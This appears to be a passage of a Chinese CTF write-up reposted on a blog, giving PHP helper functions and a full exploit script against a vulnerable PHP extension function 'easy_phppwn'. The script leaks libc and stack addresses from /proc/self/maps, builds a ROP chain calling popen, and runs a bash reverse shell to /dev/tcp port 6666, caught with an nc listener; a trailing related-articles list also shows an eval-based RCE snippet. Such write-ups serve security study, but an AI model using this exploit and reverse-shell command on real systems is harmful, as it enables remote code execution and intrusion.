        "\xbf"=>191,"\xc0"=>192,"\xc1"=>193,"\xc2"=>194,"\xc3"=>195,"\xc4"=>196,"\xc5"=>197,"\xc6"=>198,"\xc7"=>199,"\xc8"=>200,
        "\xc9"=>201,"\xca"=>202,"\xcb"=>203,"\xcc"=>204,"\xcd"=>205,"\xce"=>206,"\xcf"=>207,"\xd0"=>208,"\xd1"=>209,"\xd2"=>210,
        "\xd3"=>211,"\xd4"=>212,"\xd5"=>213,"\xd6"=>214,"\xd7"=>215,"\xd8"=>216,"\xd9"=>217,"\xda"=>218,"\xdb"=>219,"\xdc"=>220,
        "\xdd"=>221,"\xde"=>222,"\xdf"=>223,"\xe0"=>224,"\xe1"=>225,"\xe2"=>226,"\xe3"=>227,"\xe4"=>228,"\xe5"=>229,"\xe6"=>230,
        "\xe7"=>231,"\xe8"=>232,"\xe9"=>233,"\xea"=>234,"\xeb"=>235,"\xec"=>236,"\xed"=>237,"\xee"=>238,"\xef"=>239,"\xf0"=>240,
        "\xf1"=>241,"\xf2"=>242,"\xf3"=>243,"\xf4"=>244,"\xf5"=>245,"\xf6"=>246,"\xf7"=>247,"\xf8"=>248,"\xf9"=>249,"\xfa"=>250,
        "\xfb"=>251,"\xfc"=>252,"\xfd"=>253,"\xfe"=>254,"\xff"=>255
    ];
    $result = 0;
    for($i = 7; $i >= 0; $i--){
        $result = $u64_table[$bytes[$i]] + $result * 0x100;
    }
    return $result;
}
//变为64位的数字,这个仅限于打印string
function hex64(int $value):string{
    static $hex64_table=[
        0=>"0",1=>"1",2=>"2",3=>"3",4=>"4",5=>"5",6=>"6",7=>"7",8=>"8",9=>"9",10=>"a",
        11=>"b",12=>"c",13=>"d",14=>"e",15=>"f"
    ];
    $result = "";
    for($i = 0; $i < 16; $i++){
        $remainder = $value % 0x10;
        $value =  (int)($value/0x10);
        $result = $hex64_table[$remainder] . $result;
    }
    return "0x" . $result;
}
//string to int
function s2i($s) {
    $result = 0;
    for ($x = 0;$x < strlen($s);$x++) {
        $result <<= 8;
        $result |= ord($s[$x]);
    }
    return $result;
}
//int to string,再进行read的时候肯定不能读入int,因此要转变为string
function i2s($i, $x = 8) {
    $re = "";
    for($j = 0;$j < $x;$j++) {
        $re .= chr($i & 0xff);
        $i >>= 8;
    }
    return $re;
}

exp

<?php

function i2s($i, $x = 8) {
    $re = "";
    for($j = 0;$j < $x;$j++) {
        $re .= chr($i & 0xff);
        $i >>= 8;
    }
    return $re;
}

// 读取 /proc/self/maps 文件内容
$content = file_get_contents('/proc/self/maps');
echo $content ; //打印/proc/self/maps内容
// 函数用于解析基地址
function getBaseAddress($content, $pattern) {
    if (preg_match_all($pattern, $content, $matches)) {
        return $matches[1]; // 返回所有匹配的基地址
    }
    return null;
}

// 匹配 libc 的基地址
$libcPattern = '/^([0-9a-f]+)-[0-9a-f]+\\s+r--p\\s+.*?\\s+\\S*libc.*$/m';
$libcBaseAddresses = getBaseAddress($content, $libcPattern);

if ($libcBaseAddresses) {
    echo "libc base addresses:\n";
    foreach ($libcBaseAddresses as $address) {
        echo "0x$address\n";
        break;
    }
} else {
    echo "No libc base address found.\n";
}

// 匹配 stack 的基地址
$stackPattern = '/^([0-9a-f]+)-[0-9a-f]+\\s+rw-p\\s+.*?\\s+\\[stack\\]$/m';
$stackBaseAddresses = getBaseAddress($content, $stackPattern);

if ($stackBaseAddresses) {
    echo "stack base address:\n";
    foreach ($stackBaseAddresses as $address) {
        echo "0x$address\n";
        break;
    }
} else {
    echo "No stack base address found.\n";
}

// 定义地址和偏移量
$libc_base= hexdec($libcBaseAddresses[0]);
$stack_offset = 0x1c480;
$stack_addr  = hexdec($stackBaseAddresses[0]);
$p_rdi_r =  $libc_base+0x23b6a;//i2s(0x0000000000023b6a + $libc_base);
echo "$p_rdi_r\n";
$p_rsi_r = 0x000000000002601f + $libc_base;
$p_rdx_r = 0x000000000015fae6 + $libc_base; //0x000000000015fae6: pop rdx; pop rbx; ret; 
$p_rax_r = 0x0000000000036174 + $libc_base;
$ret = 0x0000000000036175 + $libc_base;
// 获取 popen 地址
$popen_addr = 0x84380 + $libc_base;

// 定义命令
$command = '/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"';

// 构造 payload
$buf1 = str_repeat('a', 0x80);
$buf = str_repeat('b', 0x8) . pack('Q', $p_rdi_r) . pack('Q', $stack_addr +$stack_offset ) ;
$buf .= pack('Q', $p_rsi_r) . pack('Q', $stack_addr +$stack_offset-0x18); 
$buf .= pack('Q', $ret); //balance stack rsp
$buf .= pack('Q', $popen_addr) . "r" . str_repeat("\x00", 7) ;
$buf = str_pad($buf, 0x50, 'c');
$buf .= str_pad($command, 0x60, "\x00") . str_repeat('\x00', 8);
$payload = $buf1 . $buf;

// 输出 payload,模拟 easy_phppwn(payload)

echo $payload;
easy_phppwn($payload)

?>
llk@ubuntu:~/Desktop/tools/php-src/ext/hello/modules$ sudo nc -lvvp 6666 -n
Listening on 0.0.0.0 6666

gdb中
在这里插入图片描述
本地主机
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2033339.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[Pytorch案例实践008]基于卷积神经网络和通道注意力机制的图像分类实战

一、项目介绍 这是一个蜜蜂、蚂蚁图像分类项目&#xff0c;旨在使用卷积神经网络&#xff08;CNN&#xff09;结合SE&#xff08;Squeeze-and-Excitation&#xff09;模块进行二分类任务。以下是项目的详细介绍&#xff1a; 项目背景 图像分类是计算机视觉中的一个基本任务&a…

一图看懂数据仓库、数据平台、数据中台、数据湖的内涵和区别!

当大数据平台出现的时候&#xff0c;有人是说这不就是大号的数据仓库吗?当数据中台出现的时候&#xff0c;有人说这不就是数据仓库的进一步包装吗?数据湖的出现更是让很多人陷入困惑。 事实上&#xff0c;数据仓库、数据平台、数据中台、数据湖还是有区别的&#xff0c;不仅…

算法 三

堆 满二叉树&#xff1a;节点满的。 完全二叉树定义&#xff1a;最下层从左往右满&#xff0c;不跳。 下标性质 大根堆&#xff1a;某个节点为根节点&#xff0c;其下的所有结点都小于根节点。 小根堆 重要的变量 heapSize&#xff1a;当前堆的有效节点个数 重要的两个过程…

RCE-无字母数字绕过正则表达式

目录 一、源码展示 二、分析源码 2.1异或运算 2.2或运算 2.3取反运算 一、源码展示 <?php error_reporting(0); highlight_file(__FILE__); $code$_GET[code]; if(preg_match(/[a-z0-9]/i,$code)){die(hacker); } eval($code); 二、分析源码 根据源码&#xff0c;我…

数据治理:国家标准 GB/T 43697-2024《数据安全技术 数据分类分级规则》

按照国家数据分类分级保护有关要求,参照本文件制定本行业本领域的数据分类分级标准规范,重点可明确以下内容: 明确行业数据分类细则,确定数据分类所依据的业务属性,给出按照业务属性划分的数据类别:分析行业领域数据的领域、群体、区域、精度、规模、深度、重要性等分级要素…

设计模式-单一职责模式

DecoratorBridge Decorator 动机 在某些情况下我们可能会 “过度地使用继承来扩展对象的功能”&#xff0c;由于继承为类型引入的静态特质&#xff0c;使得这种扩展方式缺乏灵活性&#xff1b;并且随着子类的增多&#xff08;扩展功能的增多&#xff09;&#xff0c;各种子类的…

基于RK3568+FPGA医用心电监护仪解决方案

医用心电监护仪解决方案 随着我国老龄化速度加快、规模扩大&#xff0c;越来越多民生领域的热点引起民众的关注。庞大的老龄化群体将是一个严峻的问题&#xff0c;各种社会保障政策的实施和各级医疗资源的扩展与升级正在有效化解这一难题。 在这种背景下&#xff0c;医用心电监…

如何构建一个帮助你高效学习编程的完美笔记系统?

在编程学习的过程中&#xff0c;笔记记录是一项至关重要的技能。尤其是在学习Python这样一门功能强大、广泛应用的编程语言时&#xff0c;建立一个高效的笔记系统不仅能帮助你更好地掌握知识&#xff0c;还能提高你的编程效率。那么&#xff0c;如何构建一个帮助你高效学习Pyth…

Java面试八股之消息队列有哪些协议?各种协议有哪些具体实现

消息队列有哪些协议&#xff1f;各种协议有哪些具体实现 消息队列协议是指在消息队列系统中&#xff0c;用于消息的发送、接收和管理的一套通信规则。不同的协议有着不同的特性和应用场景&#xff0c;以下是一些常见的消息队列协议及其具体实现&#xff1a; AMQP (Advanced M…

【leetcode】杨辉三角 、移除元素(Java语言描述)

杨辉三角 给定一个非负整数 numRows&#xff0c;生成「杨辉三角」的前 numRows 行。 在「杨辉三角」中&#xff0c;每个数是它左上方和右上方的数的和。 示例 1: 输入: numRows 5 输出: [[1],[1,1],[1,2,1],[1,3,3,1],[1,4,6,4,1]]示例 2: 输入: numRows 1 输出: [[1]] …

SecureCoding in C and C++(二)

经过上期的环境搭建过后&#xff0c;我们将正式的学习C系列&#xff0c;首先要学习的是C的一些常用的变量 从编译和连接学起似乎也是不错的选择。 个人总结的一句话&#xff1a;编译其实就是对预处理语句进行处理后&#xff0c;然后对语句进行处理。对预处理语句&#xff0c;例…

C++——list列表容器经典案例——手机按销量降序排列,若销量相同则按价格降序排列

需求&#xff1a;使用list列表对商品进行排序&#xff0c;先通过销量降序排&#xff0c;若销量相同则根据价格升序排列输出 涉及到的知识点&#xff1a;list列表容器、自定义数据类型、自定义排序规则 实现步骤&#xff1a; 1&#xff0c;自定义数据类型Product&#xff0c;…

Android 实现多进程通讯(如何实现多进程开发,Binder、AIDL)

目录 1&#xff09;为什么App需要多进程 2&#xff09;什么是多进程开发? 3&#xff09;如何实现多进程开发&#xff1f; 4&#xff09;跨进程间通讯(案例) 5&#xff09;多进程需要注意什么问题&#xff1f; 6&#xff09;多进程的底层原理是什么&#xff1f;【待写】 …

【Python机器学习】树回归——使用Python的tkinter库创建GUI

机器学习给我们提供了一些强大的工具&#xff0c;能从未知数据中抽取出有用的信息。因此&#xff0c;能否这些信息以易于人们理解的方式呈现十分重要。如果人们可以直接与算法和数据交互&#xff0c;将可以比较轻松的进行解释。其中一个能够同时支持数据呈现和用户交互的方式就…

手机IP地址:是根据网络还是设备决定的?

在日益数字化的今天&#xff0c;手机已经成为我们日常生活中不可或缺的一部分。它不仅是我们沟通的桥梁&#xff0c;更是我们获取信息、享受娱乐和完成工作的得力助手。然而&#xff0c;在使用手机上网的过程中&#xff0c;你是否曾经好奇过手机的IP地址是如何被分配的&#xf…

Java中class文件结构分析二

第17个常量池:01 00 15 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B 29 56 01&#xff1a;tag位表示的是utf8类型的字面量常量 00 15 二个字节表示的是字面量常量的长度为21 接下来21个字节: 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B 29 56…

经典大语言模型解读(1):BERT——基于双向Transformer的预训练语言模型

论文&#xff1a;BERT: Pre-training of Deep Bidirectional Transformers for Language Understanding 前言 BERT&#xff08;Bidirectional Encoder Representation from Transformer&#xff09;是Google于2019年提出的预训练语言模型。与寻常的Transformer架构不同&#…

eval和长度限制

目录 源码 解决方案 方法一 方法二 方法三 源码 <?php $param $_REQUEST[param]; if(strlen($param)<17 && stripos($param,eval) false && stripos($param,assert) false) {eval($param); } ?> 限制条件&#xff1a; 传入的参数长度不能…

Go语言+Vue3开发前后端后台管理系统实战 用户管理的前端界面和表结构分析

首页&#xff1a; 用户管理界面&#xff1a; 到这一步以后来看一下后端代码的表结构是如何设计的&#xff1a; 后端代码中&#xff0c;使用的操作MySQL的技术是gorm&#xff1a; gorm.io/gorm v1.25.5其中&#xff0c;用户表的定义位置如下&#xff1a; 此时的完整代码如…

C++虚函数习题

#include <iostream>using namespace std;class Animal { public:Animal() {}virtual void perform()0; };class Lion:public Animal { public:Lion() {}void perform(){cout << "狮子会吃小朋友&#xff01;&#xff01;&#xff01;快跑&#xff01;&#x…